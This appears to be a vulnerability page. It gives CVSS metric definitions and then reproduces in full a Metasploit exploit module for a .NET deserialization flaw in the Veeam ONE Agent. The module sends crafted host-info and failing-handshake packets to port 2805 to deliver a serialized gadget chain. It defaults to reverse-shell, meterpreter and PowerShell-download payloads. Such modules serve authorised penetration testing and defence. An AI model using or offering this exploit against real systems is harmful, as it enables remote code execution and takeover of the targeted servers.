The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Veeam ONE Agent .NET Deserialization
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Veeam ONE Agent .NET Deserialization',
'Description' => %q{
This module exploits a .NET deserialization vulnerability in the Veeam
ONE Agent before the hotfix versions 9.5.5.4587 and 10.0.1.750 in the
9 and 10 release lines.
Specifically, the module targets the HandshakeResult() method used by
the Agent. By inducing a failure in the handshake, the Agent will
deserialize untrusted data.
Tested against the pre-patched release of 10.0.0.750. Note that Veeam
continues to distribute this version but with the patch pre-applied.
},
'Author' => [
'Michael Zanetta', # Discovery
'Edgar Boda-Majer', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-10914'],
['CVE', '2020-10915'], # This module
['ZDI', '20-545'],
['ZDI', '20-546'], # This module
['URL', 'https://www.veeam.com/kb3144']
],
'DisclosureDate' => '2020-04-15', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
],
[
'Windows Dropper',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
}
],
[
'PowerShell Stager',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
]
],
'DefaultTarget' => 2,
'DefaultOptions' => {
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS], # Connection queue may fill?
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(2805),
OptString.new(
'HOSTINFO_NAME',
[
true,
'Name to send in host info (must be recognized by server!)',
'AgentController'
]
)
])
end
def check
vprint_status("Checking connection to #{peer}")
connect
CheckCode::Detected("Connected to #{peer}.")
rescue Rex::ConnectionError => e
CheckCode::Unknown("#{e.class}: #{e.message}")
ensure
disconnect
end
def exploit
print_status("Connecting to #{peer}")
connect
print_status("Sending host info to #{peer}")
sock.put(host_info(datastore['HOSTINFO_NAME']))
res = sock.get_once
vprint_good("<-- Host info reply: #{res.inspect}") if res
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
# TODO: Create an option to execute the full stager without hacking
# :linemax or calling execute_command(generate_cmdstager(...).join(...))
execute_cmdstager(
flavor: :psh_invokewebrequest, # NOTE: This requires PowerShell >= 3.0
linemax: 9001 # It's over 9000
)
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
rescue EOFError, Rex::ConnectionError => e
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
ensure
disconnect
end
def execute_command(cmd, _opts = {})
vprint_status("Serializing command: #{cmd}")
serialized_payload = Msf::Util::DotNetDeserialization.generate(
cmd,
gadget_chain: :TextFormattingRunProperties,
formatter: :BinaryFormatter # This is _exactly_ what we need
)
print_status("Sending malicious handshake to #{peer}")
sock.put(handshake(serialized_payload))
res = sock.get_once
vprint_good("<-- Handshake reply: #{res.inspect}") if res
rescue EOFError, Rex::ConnectionError => e
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
def host_info(name)
meta = [0x0205].pack('v')
packed_name = [name.length].pack('C') + name
pkt = meta + packed_name
vprint_good("--> Host info packet: #{pkt.inspect}")
pkt
end
def handshake(serialized_payload)
# A -1 status indicates a failure, which will trigger the deserialization
status = [-1].pack('l<')
length = status.length + serialized_payload.length
type = 7
attrs = 1
kontext = 0
header = [length, type, attrs, kontext].pack('VvVV')
padding = "\x00" * 18
result = status + serialized_payload
pkt = header + padding + result
vprint_good("--> Handshake packet: #{pkt.inspect}")
pkt
end
end
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